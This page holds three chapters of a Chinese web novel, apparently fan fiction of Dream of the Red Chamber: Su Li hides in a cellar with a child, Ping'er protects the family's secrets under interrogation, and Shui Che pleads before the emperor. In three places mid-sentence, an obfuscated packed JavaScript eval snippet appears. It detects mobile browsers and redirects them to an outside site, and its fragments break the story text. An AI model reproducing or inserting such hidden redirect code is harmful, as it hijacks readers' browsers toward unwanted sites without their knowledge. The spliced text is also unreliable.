密信摊在桌上，那被巧妙篡改的措辞，像毒蛇般噬咬着他的理智。指向北静王府旧债的关键证据，竟变成了指向忠顺亲王心腹的“铁证”。这是一个精心布置的陷阱，一旦他依此行动，不仅查不到贾府资产的真实去向，反而会直接开罪当今圣上最为猜忌的权臣，后果不堪设想。 是谁？谁能在他与苏璃之间如此精准地截获并篡改信息？ 是贾府残余势力的垂死反扑？ 是朝中其他觊觎这笔巨资的对手？ 还是……他身边出了鬼？ 一股寒意顺着脊椎爬升。他想起苏璃冒险送出密信时那决绝的眼神，若她知晓信被动了手脚，几乎等于亲手将他推入火坑……不，不会是她。水澈立刻否定了这个念头，那种信任近乎本能。但危机感已如影随形。 他必须立刻调整计划。原定的接应点城南土地庙已暴露，不能再用了。苏璃现在何处？是否安全？那个掩护她脱身的神秘男子又是谁？无数疑问盘旋，但此刻他只能先确保自己不被这假情报牵制。他迅速取过一张特殊处理过的薄纸，用密写药水草草写下警示与新的、极其隐秘的联络方式，吹干后折成细小条状，塞入一枚看似普通的铜钱夹层。唤来绝对心腹暗卫，低声吩咐：“想办法，最快速度，送到‘柳絮’姑娘手中。若她已不在原处……动用一切力量，查她下落，但务必隐秘，绝不能打草惊蛇。”暗卫领命，如青烟般消失。 水澈走到窗边，望着帝都沉沉的夜色。棋局已乱，他必须跳出棋盘，才能看清全局。贾府这艘破船沉没激起的漩涡，正在将更多人和秘密卷入深渊。 与此同时，苏璃带着惊魂未定的板儿，在漆黑的巷道中艰难穿行。板儿紧紧抓着她的衣角，小声抽噎着，冻得瑟瑟发抖。苏璃自己的情况也好不到哪里去，单薄的衣衫难以抵挡深夜的寒气，腹中更是饥渴交加。但她不敢停留，城南土地庙的陷阱表明，追捕她的网已经撒开，内务府的人，甚至可能还有别的势力，正像猎犬一样搜寻着她的踪迹。 水澈提到的那个备用落脚点，是唯一的希望了。地址极其复杂，位于城西一片鱼龙混杂的民居区，以“李姓商人”的名义存在。她凭借过人的记忆力和方向感，在迷宫般的小巷中摸索前行，尽量避开大路和任何有光亮的地方。 “阿姐……我们……我们去哪儿？”板儿带着哭腔问。 “去找个能歇脚的地方。”苏璃压低声音，尽量让语气听起来平静，“板儿乖，别出声，跟着我走。” 她必须保护好这个孩子。刘姥姥对王熙凤、对巧姐儿有恩，板儿是无辜的。在这倾覆的末世，这点微末的善意和牵连，或许是仅存的一点人性光亮。 终于，在天色将明未明、最是寒冷的时刻，她按照水澈所述，找到了那片区域。那是一片低矮拥挤的民居，空气中弥漫着煤烟、污水和廉价脂粉混合的复杂气味。她数着门牌，绕过几个醉醺醺的夜归人和早起倒马桶的妇人，最终在一扇极其普通的、漆皮剥落的黑漆木门前停下。 门楣上没有任何标记。苏璃深吸一口气，按照水澈教的方法，先是轻轻叩门三下，停顿，再两下，又停顿，最后一下。声音在寂静的凌晨格外清晰。 里面没有任何动静。苏璃的心提到了嗓子眼。难道这里也暴露了？还是水澈记错了？或者……这本身又是一个陷阱？ 就在她几乎要绝望时，门内传来极轻微的窸窣声，接着是门闩被慢慢抽开的细微响动。门开了一条缝，一双警惕的眼睛在黑暗中打量着她。那是个看起来约莫四十岁上下、面容普通到扔进人堆就找不着的妇人，穿着粗布衣服，系着围裙，像个寻常的市井妇人。 “找谁？”妇人的声音沙哑低沉。 “风雨如晦，鸡鸣不已。”苏璃说出水澈告知的暗号。 妇人眼神微动，低声道：“既见君子，云胡不喜。”暗号对上。她迅速将门开大些，目光扫过苏璃和她身后的板儿，闪过一丝讶异，但什么也没问，“快进来。” 苏璃拉着板儿闪身而入，妇人立刻将门闩好。屋内光线昏暗，陈设简陋，但收拾得异常干净整洁，与门外脏乱的环境形成鲜明对比。 “跟我来。”妇人示意他们跟上，穿过狭小的堂屋，走到后院。后院更是狭小，堆着些柴火杂物。妇人挪开墙角一个看似沉重的破旧水缸，下面竟露出一个带着拉环的木板。她用力拉起木板，一股带着霉味和尘土的凉气涌出，下面是一段向下的石阶。 “下面有地窖，干净，有干粮和水。除非我喊你们，否则绝不要出来，也不要弄出光亮和大声响。”妇人语速很快，带着不容置疑的威严，“外面有任何动静，都别管。” 苏璃心中震撼，这地方竟如此隐秘。她感激地看了妇人一眼：“多谢妈妈。” 妇人摆摆手：“不必谢我，是主子的吩咐。快下去吧，天快亮了。” 苏璃不再多言，拉着有些害怕的板儿，小心地沿着石阶走下地窖。妇人随后将木板盖上，又将水缸挪回原处，一切恢复如常，仿佛什么都没发生过。 地窖里漆黑一片，伸手不见五指。苏璃摸索着，碰到一个冰冷的烛台，旁边似乎有火石。她不敢点火，只能靠着墙壁慢慢坐下，将板儿搂在怀里。板儿又冷又怕，紧紧偎着她，渐渐止住了哭泣，疲惫地睡去。 苏璃却毫无睡意。地窖的阴冷潮湿渗透骨髓，但比这更冷的是心中的忧虑。水澈收到信了吗？他是否已落入陷阱？贾府现在怎样了？平儿和巧姐儿能否逃过此劫？王熙凤临终的托付，那半块玉佩和含糊的“江南”遗言，又指向何处？自己身负的秘密账本，如今成了烫手山芋，下一步又该如何？ 一个个问题如同沉重的巨石压在她心头。她知道自己不能倒下，至少现在有了一个暂时的藏身之所。她必须尽快联系上水澈，必须弄清楚当前的局势，必须为板儿，也为自己，找到一条生路。 就在苏璃在地窖中煎熬的同时，荣国府内已是一片愁云惨淡，如同人间炼狱。 查抄过后，昔日繁华锦绣的府邸满目疮痍。值钱的摆设、古董字画被搜刮一空，只剩下搬不走的笨重家具和满地狼藉。女眷们被圈禁在几处院落，由持刀挎枪的兵丁严密把守，哭声日夜不绝。 王熙凤的尸身已被一领破席卷了，暂时停放在一处偏僻的柴房里，连口薄棺都无处寻觅。平儿哭得死去活来，眼睛肿得像桃儿，却连给主子烧点纸钱都成了奢望。巧姐儿吓傻了，整日蜷缩在角落里，不哭不闹，眼神空洞。 贾母一病不起，气息奄奄，鸳鸯等贴身丫鬟日夜守着，以泪洗面。邢夫人、王夫人等各自惶惶不可终日，往日里的勾心斗角在灭顶之灾面前显得如此可笑。李纨带着贾兰，默默垂泪，心中牵挂着狱中的贾珠。尤氏从东府过来，本想探问消息，却被兵丁呵斥阻拦，只能隔着门墙相对垂泪。 府中下人更是遭了殃。稍有头脸的管事、丫鬟，多被锁拿拷问，追查资产下落。剩下的粗使仆役，也被严格控制，每日只有少量馊粥冷饭果腹，动辄挨打受骂，如同待宰的羔羊。 这日午后，一个穿着体面些、像是内务府小吏模样的人，在两个兵丁的陪同下，来到圈禁女眷的院落外。他扫了一眼院内惶恐不安的女眷，尖着嗓子道：“奉上谕，清查逆产，尔等需如实回话！贾王氏生前，可曾将府中财物暗中转移？尤其是海外贸易相关账目、契据，藏在何处？还有，她跟前那个叫柳絮的丫鬟，现在何处？” 众人噤若寒蝉，无人敢答。平儿心中剧震，他们果然在追查奶奶转移的资产，而且在找璃姑娘！她紧紧攥着袖中那半块温润的玉佩和王熙凤含糊的遗言，手心全是冷汗。不能说，死也不能说。说了，巧姐儿最后的生路就断了，璃姑娘也必死无疑。 那小吏见无人应答，冷笑一声：“不说？好！有你们开口的时候！给我搜！仔细搜搜这些罪妇的身！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066385|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵丁如狼似虎地就要上前。 “住手！”平儿猛地抬起头，脸上泪痕未干，却强自镇定，“官爷明鉴，我们奶奶……去得突然，并未交代什么。府中账目，早已被抄没的官爷们取走。至于柳絮……那丫头笨拙，前几日府中混乱，早已不知去向，许是趁乱逃了，或是死在哪处角落也未可知。” 她语气悲切，却条理清晰，将追问挡了回去。那小吏将信将疑，又盘问了几句，见实在问不出什么，只得悻悻而去，吩咐兵丁继续严加看管。 平儿瘫软在地，后背已被冷汗浸透。她知道，这只是开始。朝廷不会轻易放过贾府这块肥肉，尤其是奶奶经营多年暗中转移的那些资产。而璃姑娘，如今成了关键人物，恐怕正被多方势力追捕。自己守着这玉佩和遗言，如同守着点燃引线的火药桶，随时可能爆炸。 她看着床上王熙凤冰冷的尸体，又看看角落里痴痴傻傻的巧姐儿，心中一片绝望的悲凉。奶奶，您把这天大的担子扔给我，我……我该怎么办？璃姑娘，你又在哪里？是生是死？ 夜色再次降临。，地窖里寒冷刺骨。板儿在睡梦中不安地扭动，喃喃喊着“姥姥”。苏璃将他搂得更紧些，用自己的体温为他驱寒。 突然，她听到极轻微的上方动静，是水缸被挪开的声音。她的心瞬间绷紧，屏住呼吸，手悄悄摸向藏在小腿处的匕首，那是水澈之前给她防身的。 木板被轻轻拉开，一丝微光透入。上面传来那妇人压低的声音：“姑娘，是我。” 苏璃稍稍松了口气，但仍未放松警惕：“妈妈，有事？” “有个东西给你。”妇人说着，小心翼翼地将一个小布包用绳子吊了下来，“刚收到的，指定要交到你手上。你看完，原样包好，我再吊上来处理。” 苏璃接过布包，入手沉甸甸的，似乎是个小盒子。她心中狂跳，是水澈！一定是他！ 妇人将木板虚掩上，但没有完全盖严，留了一丝缝隙透气，随后又将水缸挪回部分遮挡。 苏璃迫不及待地摸到布包里的东西，果然是一个小小的扁木盒。她颤抖着手打开，里面是几块干粮，一小壶水，还有……一枚熟悉的铜钱。她立刻认出，这是水澈与她之间用于传递最紧急密信的特定铜钱。她用力掰开铜钱，取出里面的纸条，凑到那丝极微弱的光线下，艰难地辨认着上面用密写药水显现的小字。 字迹潦草，显是匆忙写就：“信被篡改，土地庙是陷阱。我已警觉，勿忧。此地点安全，但需静默。冯妈可信。局势诡谲，追查者众，暂勿妄动。保重自身，待我联系。澈。” 短短数语，却让苏璃悬了数日的心，终于落下了一半。水澈没事！他识破了陷阱！他知道她在这里！她将纸条紧紧攥在手心，仿佛握着救命稻草。 虽然前路依旧凶险，但至少，她不是一个人在黑暗中挣扎了。水澈还在，他们之间的信任纽带经受住了这次残酷的考验。这让她重新燃起了勇气和希望。 她将纸条就着那点微光反复看了几遍，确认记牢后，将其撕得粉碎，和着干粮小心咽下。然后按照吩咐，将空木盒和铜钱原样包好，拉动了那根细绳。 冯妈很快将布包吊了上去，处理掉证据。 地窖重归黑暗，但苏璃的心却亮起了一盏微灯。她轻轻摇醒板儿，将干粮和水喂给他。孩子饿坏了，狼吞虎咽。 “慢点吃，板儿，我们安全了，暂时安全了。”苏璃低声安慰着，也小口吃着干粮。她必须保存体力，必须活下去。水澈让她“静默”、“待他联系”，这意味着外面形势极其复杂危险，他需要时间布局。 而她，也要利用这段时间，理清思绪。王熙凤的遗言、那半块玉佩、秘密账本、江南的线索……这些碎片，必须拼凑起来。贾府虽倒，但暗处的博弈才刚刚开始。她苏璃，绝不会坐以待毙。 地窖外，帝都迎来又一个黎明，但对于许多人来说，黑夜远未结束。真正的风暴，正在暗处积蓄着力量。 62. 临危受命 地窖里的日子，昼夜不分，唯有冯妈每日送饭时挪开水缸、揭开木板透进的那一丝微光和寒气，提醒着时光的流逝。 板儿最初的惊惧渐渐平复，孩子适应力强，加之冯妈送来的虽是粗茶淡饭，却也能果腹，他便恢复了孩童的天性，只是更加沉默，常常抱着膝盖，睁着乌溜溜的眼睛，不知在想什么。苏璃则利用这难得的“静默”期，竭力梳理着纷乱的思绪，同时小心翼翼地照顾着板儿。 水澈那封密信是定心丸，也是警示。信被篡改、土地庙是陷阱，说明追捕她的网已经撒开，且对方心思缜密，甚至可能渗透了水澈的部分信息渠道。“局势诡谲，追查者众”这七个字，道尽了外面的凶险。她必须蛰伏，必须等待。 冯妈是个极有分寸的人，除了送饭和处理秽物，从不主动与苏璃交谈，眼神也总是平静无波，仿佛只是完成一件寻常差事。但苏璃能从她偶尔多放的一块饼、一壶稍热些的水中，感受到一丝不易察觉的关照。这让她稍稍安心，至少这个落脚点是可靠的。 这日，冯妈照例送来饭食，却破例没有立刻离开，而是压低声音快速说道：“外面风声紧，兵马司、顺天府的人都在暗查，尤其留意生面孔的妇人带孩子投宿。忠顺王府的人也在活动，像是在找什么东西。”她顿了顿，看了眼蜷缩在角落的板儿，“这孩子……眉眼有些惹眼，尽量别让他到上面来，万一有闪失。” 苏璃心中一震，连忙点头：“谢妈妈提醒，我记下了。”冯妈不再多言，盖上木板，地窖重归黑暗。苏璃的心却沉了下去。追捕力度如此之大，连板儿的容貌特征都被留意了？是丁，王熙凤生前树敌太多，巧姐儿是她的骨血，有人想斩草除根，或是拿捏住巧姐儿作为筹码，都不奇怪。板儿与巧姐儿年岁相仿，又一同被刘姥姥带过，难免被一并惦记。保护板儿，如今更是重中之重。 她将冯妈的话暗暗记下，更加警惕。同时，她也开始反复琢磨王熙凤的临终遗言。“江南……甄家……玉佩……”这几个词如同散落的珍珠，需要一根线才能串起。甄家，是书中与贾家关系密切、命运相似的江南望族。王熙凤与江南甄家有何关联？那半块玉佩是信物？还是开启某个秘密的钥匙？她想起王熙凤生前曾暗中经营，转移部分资产，莫非与江南甄家有关？那秘密账本，是否也指向江南？ 她将贴身藏着的半块玉佩和那本薄如蝉翼、用特殊药水写着密账的绢册取出，就着极微弱的光线摩挲、审视。账本上的数字和代号，她一时无法完全破解，但隐约感觉其中涉及巨额的银钱往来、田庄地产，甚至可能有关海外贸易。这是王熙凤留下的保命符，也是催命符。 在地窖的第四日夜里，上方再次传来约定的叩门声。苏璃屏息凝神，是冯妈。木板被掀开，这次吊下来的不是饭食，而是一个更小的、用油布包裹严实的竹管。 “给您的。”冯妈的声音短促低沉。 苏璃心跳加速，是水澈！她迅速接过，低声道谢。冯妈盖上木板，脚步声远去。 地窖里漆黑一片。苏璃摸索着打开油布，取出竹管，拧开塞子，里面是一卷更小的纸条。她不敢点火，只能将纸条紧紧攥在手心，凭借之前冯妈透光时极力记忆的地窖轮廓，挪到那个极细微的缝隙下方，耐心等待。也不知过了多久，或许是天色将明，一丝几乎难以察觉的灰白微光透入，她立刻将纸条凑到眼前，艰难地辨认着上面水澈用密写药水写下的、比上次更小的字迹。 “篡改信笺线索指向宫内司礼监某随堂太监，与忠顺王府往来甚密。忠顺王似已察觉海外资产转移事，追查甚急。贾府男丁已流放，女眷暂羁押待审。巧姐儿下落不明，平儿受刑重伤，恐难久持。此地点暂安，然非久留之所。吾已设法联络江南旧部，需时机送尔等南下。万事谨慎，保全自身，待我消息。澈。” 字字惊心！ 司礼监太监！竟是宫内的人插手篡改信件？这意味着什么？是皇帝对水澈的试探？还是后宫或皇子与忠顺王勾结？苏璃背后渗出冷汗，这潭水比她想象的更深、更浑。 忠顺王果然在追查海外资产，王熙凤的预判没错。贾府男丁流放，女眷羁押，这是抄家后的标准流程。但巧姐儿下落不明？平儿受刑重伤！苏璃的心像被狠狠揪住。 平儿……那个总是温和周全的平儿，竟被用刑！她守着王熙凤的遗言和秘密，遭受了怎样的折磨？巧姐儿又在哪里？是死是活？巨大的悲伤和愤怒几乎将她淹没，她死死咬住嘴唇，才没呜咽出声。 水澈在设法联络江南旧部，计划送她南下。这是目前唯一的生路。江南，再次与王熙凤的遗言重合。那里或许有生机，有王熙凤预先布下的棋子，有甄家可能提供的庇护，也有水澈可以动用的力量。但“需时机”，说明南下之路同样关卡重重，危机四伏。 她将纸条紧紧攥着，直到那点微光彻底消失，地窖重归浓墨般的黑暗。然后，她将纸条撕成碎片，放入口中，和着冰冷的唾液，艰难地咽下。不能留下任何痕迹。 板儿在睡梦中不安地动了动，喃喃道：“姥姥……冷……” 苏璃摸索着过去，将他冰凉的小脚搂进自己怀里，用体温温暖他。孩子，别怕，阿姐在。她在心里默默发誓，平儿用命守住的秘密，巧姐儿渺茫的希望，王熙凤临终的托付，她绝不能辜负。她必须活下去，带着板儿活下去，去江南，找到那条生路。 就在苏璃在地窖中消化着惊人消息、砥砺求生意志的同时，荣国府内的景象，已如同人间炼狱。 曾经钟鸣鼎食、诗礼簪缨之府，如今只剩下断壁残垣般的凄凉。值钱的物件早已被抄掠一空，只剩下笨重家具东倒西歪，满地狼藉。女眷们被圈禁在几处院落，由持刀的兵丁严密把守，日夜不得安宁，哭声日夜不绝。 王熙凤的尸身依旧停放在那间漏风的柴房里，连张草席都破败不堪。平儿被单独关在一间潮湿的小屋里，那日她为护住巧姐儿和王熙凤临终托付的秘密，被如狼似虎的番役用了重刑，此刻已是气息奄奄，身上没有一块好肉，高烧不退，意识模糊，只在极短暂的清醒时，嘴唇无声地翕动，念着“奶奶……巧姐儿……璃姑娘……” 巧姐儿自那日被吓坏后，便痴痴傻傻，不哭不闹，整日蜷缩在角落里，眼神空洞，仿佛灵魂已随母亲而去。偶尔有仆妇偷偷塞给她一点吃食，她也只是机械地吞咽，如同木偶。 贾母一病不起，鸳鸯等贴身丫鬟日夜守着，以泪洗面，府中珍藏的药材早已被抄没，连剂像样的汤药都无处寻觅，眼看已是油尽灯枯。邢夫人、王夫人等各自惶惶不可终日，往日里的算计争斗在灭顶之灾面前显得如此可笑可悲。 李纨带着贾兰，默默垂泪，心中牵挂着流放路上的贾珠。尤氏从东府过来探问，却被兵丁厉声呵斥阻拦，只能隔着门墙相对垂泪，悲叹两府竟落得如此下场。 府中下人更是遭了殃。稍有头脸的管事、丫鬟，多被锁拿拷问，追查资产下落。剩下的粗使仆役，也被严格控制，每日只有少量馊粥冷饭果腹，动辄挨打受骂，如同待宰的羔羊，昔日繁华如同隔世之梦。 这日午后，那个穿着体面些的内务府小吏再次来到圈禁女眷的院落外，身后跟着两个面无表情的番役。他扫了一眼院内惶恐不安、面黄肌瘦的女眷，尖着嗓子道：“奉上谕，再三严查逆产！尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069854|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等听真了，贾王氏生前，究竟将府中财物，尤其是海外贸易的账目、契据，转移至何处？还有那个叫柳絮的丫鬟，现在何处？若再隐瞒不报，休怪国法无情！” 众人噤若寒蝉，无人敢答。那日平儿挺身而出，暂时挡了过去，但谁都看得出，对方不会善罢甘休。 平儿躺在冰冷的草铺上，浑身剧痛，意识模糊间听到外面的呵问，手指微微动了动。她袖中那半块温润的玉佩，如同烙铁般烫着她的肌肤。 不能说……死也不能说……说了，奶奶的心血就白费了，巧姐儿就真的没活路了，璃姑娘也必死无疑……她用尽最后一丝力气，将嘴唇咬出血来，维持着最后的清醒。 那小吏见无人应答，冷笑一声，对身后番役使了个眼色：“搜！给我仔细搜这些罪妇的身！特别是那个叫平儿的丫头！” 如狼似虎的番役就要上前。就在这时，一个虚弱却清晰的声音响起：“官爷……且慢……” 众人望去，竟是躺在角落里的平儿，不知何时强撑着抬起了头，脸上毫无血色，眼神却异常清明坚定：“官爷明鉴……我们奶奶……去得突然，并未交代什么……府中账目，早已被抄没……柳絮……那丫头笨拙……前几日府中混乱……早已不知去向……许是趁乱逃了……或是死在哪处角落……也未可知……”她每说几个字，都要喘息片刻，冷汗浸湿了额发，但语气却不容置疑。 那小吏眯起眼，盯着平儿，似乎想从她脸上找出破绽。平儿毫不退缩地与他对视，眼中是一片死寂的坦然。她知道，这是她能为璃姑娘和巧姐儿做的最后一件事了，坐实“柳絮”已死或失踪，切断这条追查的线索。 良久，那小吏才冷哼一声：“哼，倒是嘴硬！不过，跑得了和尚跑不了庙！继续给我盯紧了，我就不信，挖不出东西来！”说罢，悻悻而去，吩咐番役继续严加看管。 平儿脱力般瘫软下去，眼前阵阵发黑，嘴角却勾起一丝极淡的、近乎虚无的笑意。奶奶……奴婢……尽力了…… 地窖中，苏璃对平儿以生命为代价为她争取的宝贵时间一无所知。她正利用冯妈偷偷送来的一小截炭笔和废纸，凭借记忆，艰难地勾勒、推演着。 她在画图，画一幅简陋的、基于原主模糊记忆和前世地理知识结合的“大周舆图草图”。京城在北，长江蜿蜒而下，太湖、扬州、苏州、杭州……这些关键地点被一一标注。她在试图理清如果南下，可能的路线、关卡、以及甄家可能所在的大致区域。 她在列表，列出王熙凤账本上那些代号可能指向的资产类型：盐引？丝绸？茶叶？瓷器？海外香料？珍宝？每一个代号背后，都可能是一笔巨大的财富，也可能是一个致命的陷阱。 她在模拟，模拟遇到盘查该如何应对，遇到追杀该如何脱身，如何利用有限的银钱在漫长路途上生存。 她甚至开始教板儿一些极简单的应对之词：“我们是从北边逃难来的，家乡遭了灾，去找江南的远亲……”反复练习，直到孩子能在半梦半醒间本能反应。 她不知道水澈所谓的“时机”何时会来，也不知道自己这简陋的准备能否应对路上的万般险恶。但她不能坐以待毙。临危受命，她接受的不仅是王熙凤的托付，更是对自己命运的抗争。这地窖是暂时的避难所，也是风暴眼中最后的平静。她必须利用这每一分每一秒，为即将到来的、更凶险的旅程，做好尽可能多的准备。 夜色再次降临，地窖里寒冷刺骨。苏璃将板儿紧紧搂在怀里，孩子的体温是她唯一的暖源。她睁着眼睛，望着无尽的黑暗，眼神却亮得惊人。 等待，煎熬，但绝不放弃希望。 63. 雷霆雨露 地窖中的时光粘稠而缓慢，每一刻都像在黑暗中无声地拉长。苏璃强迫自己不去想平儿的惨状、巧姐儿的渺茫、贾府女眷的水深火热，她将所有心神都投入到为南下做准备上。用炭笔在废纸上反复推演路线，教导板儿应对说辞，将王熙凤的账本密文反复记忆、揣测，甚至开始偷偷活动筋骨，为可能的逃亡积蓄体力。 冯妈依旧每日准时送下简单的饭食，偶尔低声传递一两条外界消息，无非是哪条街巷盘查更严，哪家客栈出了逃犯被搜捕之类。苏璃默默听着，心中那根弦越绷越紧。她知道，水澈所说的“时机”不会凭空到来，必然伴随着巨大的风险。 这日午后，冯妈送饭时，神色比往日凝重几分，递下食盒时，极快地低语一句：“羁押所里那个叫平儿的丫头，怕是……不行了。高烧说明话，隐约听见‘江南’、‘玉佩’几个字，看守报了上峰。” 苏璃脑中“嗡”的一声，手一颤，食盒差点脱手。平儿……她到底还是没能熬过去吗？弥留之际的呓语，竟将“江南”和“玉佩”泄露了出去！这意味着什么？意味着朝廷，或者说忠顺王那边，很可能已经将“江南”与贾府转移的资产联系起来，而那半块玉佩，也成了追查的关键信物！ 危险！巨大的危险正在逼近！水澈知道吗？他安排南下的计划，是否会因此受阻？ 冯妈似乎看出她的惊惶，又补了一句，声音压得更低：“外面在传，北静王府的四爷，前两日递了牌子进宫，在御书房外跪了将近两个时辰。” 水澈进宫了？在御书房外跪求？是为了贾府的事？还是为了别的事？苏璃的心猛地揪紧。水澈身份特殊，是已故老北静王庶子，虽有才干，却因出身在皇室中地位微妙。他如此行事，是冒了极大的政治风险！是为了替她争取南下的机会？还是……另有所图？ “知道了，多谢妈妈。”苏璃强迫自己镇定，接过食盒。冯妈不再多言，盖上木板。 地窖重归黑暗。苏璃却再也无法平静。平儿的垂危、水澈的冒险跪求、外界收紧的搜查……一切都预示着，变故就在眼前。她坐立不安，焦灼地等待着，等待着水澈许诺的那个“时机”，或者，是更坏的结局。 紫禁城，御书房。 檀香袅袅，却驱不散空气中的凝重。皇帝靠在明黄椅袱上，手中把玩着一枚温润的玉扳指，神色喜怒难辨。下方，北静王水溶侍立一旁，眼观鼻鼻观心。而御案前，水澈依旧保持着端跪的姿态，背脊挺直如松，玄色亲王常服的下摆铺在冰冷的金砖上，已跪了将近一个时辰。 “老四，”皇帝终于开口，声音不高，却带着不容置疑的威压，“你今日求见，便是为了贾家那几个女眷的处置？朕记得，你与贾家，素无深交。” 水澈抬起头，面容清减，眼下有淡淡青影，但目光清澈坦然，声音平稳：“回陛下，臣与贾家确无私谊。今日冒死进言，非为私情，实为天理、国法、人情三者，恳请陛下圣裁。” “哦？天理国法人情？”皇帝微微挑眉，“贾赦、贾珍贪赃枉法，结交外官，其罪当诛。贾政治家不严，亦有失察之过。按律，其家产抄没，男丁流放，女眷没入官籍，或发卖，或充入教坊司。这便是国法。有何不妥？” “陛下明鉴，国法森严，自当遵从。”水澈不疾不徐，“然，天理循环，报应不爽。贾家之罪，在于男丁昏聩荒唐，在于当家男子贪墨枉法。其阖府女眷，深居内宅，于外事多不知情。如贾母史氏，年逾古稀，病体支离；贾政妻王氏、贾赦妻邢氏等，不过听从夫命，打理内务；其余未嫁之女，如贾探春、贾惜春等，更是闺中弱质，与外界从无勾连。若因其父兄之罪，而令其等没入贱籍，受尽折辱，乃至性命不保，恐非上天好生之德，亦有伤陛下仁圣之名。此关乎天理人情。” 他顿了顿，见皇帝神色未动，继续道：“再者，贾家虽倒，然百年勋戚，枝蔓牵连甚广。其女眷中，如王氏，乃金陵王家女；贾母史氏，出身保龄侯府。若处置过苛，恐寒了旧勋之心，于朝局安定并无益处。此关乎朝局稳定。” 水溶在一旁微微蹙眉，似想开口，又忍住了。 皇帝手指轻轻叩着扶手，目光深邃地看着水澈：“依你之见，当如何处置？” 水澈深吸一口气，他知道最关键的时刻到了：“臣斗胆，恳请陛下法外施恩。贾家女眷，可免其官籍身份，削其诰命，以示惩戒。然不必没入官衙，亦不必发卖。可将其集中安置于京郊一处皇家庵堂或闲置官房，责令其闭门思过，自食其力。朝廷可按最低例拨给些许口粮田舍，令其耕种纺绩，自谋生计。如此，既全了国法体面，亦彰显陛下仁德，更可堵天下悠悠之口——陛下罚其父兄之罪，却未累及无知女眷，仁至义尽。” “自食其力？”皇帝眼中闪过一丝难以捉摸的神色，“那些肩不能挑、手不能提的贵妇千金，如何自食其力？” “雷霆雨露，俱是天恩。”水澈缓缓道，“能得保全性命，已是浩荡皇恩。如何谋生，是她们自己的造化。或可让宫中遣一二老成女官，略加指点规矩。生死荣辱，从此与贾姓无涉，只系于自身勤惰。此亦可使天下人知，陛下非一味严刑，亦有教化劝勉之仁心。” 御书房内一片寂静。水溶额角渗出细汗，他知道四弟这番言论，看似为女眷求情，实则是在试探皇帝的底线，更是在为某个“特殊之人”争取一个相对自由、而非严密监控的生存空间。风险极大。 良久，皇帝忽然轻笑一声，那笑声听不出喜怒：“老四，你倒是思虑周全。为了几个不相干的女眷，值得你如此费心，甚至……甘冒牵连之险？”最后一句，意味深长。 水澈心知皇帝疑心已起，但他别无选择，只能以坦荡对之：“臣并非只为贾家女眷。臣是为陛下圣名，为朝局安稳，亦是为……我大周律法，能存一丝仁恕之心。若今日因父兄之罪累及全然无知之女眷，他日若他人借此攻讦，恐律法威严受损。且，臣听闻，贾家尚有稚龄幼女，若充入教坊，恐损阴骘。臣愚见，或不足取，然拳拳之心，可鉴日月。” 他再次深深叩首，额头触及冰凉的金砖。 皇帝久久凝视着他伏地的身影，目光锐利，仿佛要穿透他的肺腑。殿内空气几乎凝固。 终于，皇帝缓缓开口，声音恢复了惯常的平淡：“罢了。你且起来吧。” “谢陛下。”水澈再次叩首，方才起身，跪得久了，膝盖一阵刺痛，但他身形纹丝未动。 “贾家女眷之事，”皇帝沉吟道，“你所言，不无道理。男丁之罪，确不应尽累妻女。然朝廷自有法度，不可因一人之言而轻改。” 水澈心中一沉。 皇帝话锋一转：“不过，念在其多数女眷确系无辜，贾母年老，又有未嫁之女，朕便法外开恩一回。传朕口谕：贾史氏及其下女眷，除已定罪之邢氏、王氏需另行论处，其余一概削去诰命，褫夺官籍，安置于西郊云渡庵，带发修行，闭门思过。一应供给，按最低等犯官家眷例，由内务府拨给，令其自理生计。无旨不得出庵，亦不得与外人交通。着内务府、顺天府共同看管，若有违逆，严惩不贷。” 水澈心中一块巨石落地，连忙躬身：“陛下仁德，臣代……天下百姓，感念天恩！” 皇帝摆摆手，似乎有些疲倦：“行了，此事就此定下。你跪安吧。” “臣告退。”水澈躬身退出御书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076344|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房，直到走出宫门，被冷风一激，才觉背后中衣已被冷汗湿透。他抬头望着灰蒙蒙的天空，长长吐出一口浊气。 成功了。虽然过程险峻，皇帝最后那意味深长的审视让他心有余悸，但至少，他争取到了一个相对理想的结果。云渡庵，皇家庵堂，虽仍受监管，但比没入官籍或发卖好了何止千万倍！更重要的是，这个安置方式，留下了操作空间，看守是内务府和顺天府，而顺天府尹，与他有些隐秘的交情，或许可以稍加照拂。而“自理生计”，也意味着她们有一定程度的行动自由，这为苏璃可能的接应，留下了极其宝贵的缝隙。 只是，皇帝真的信了他那番冠冕堂皇的说辞吗？水澈不敢深想。君心难测，他能做的，只有尽快布局，抓住这稍纵即逝的机会。 皇帝的旨意如同惊雷，迅速传遍京城。 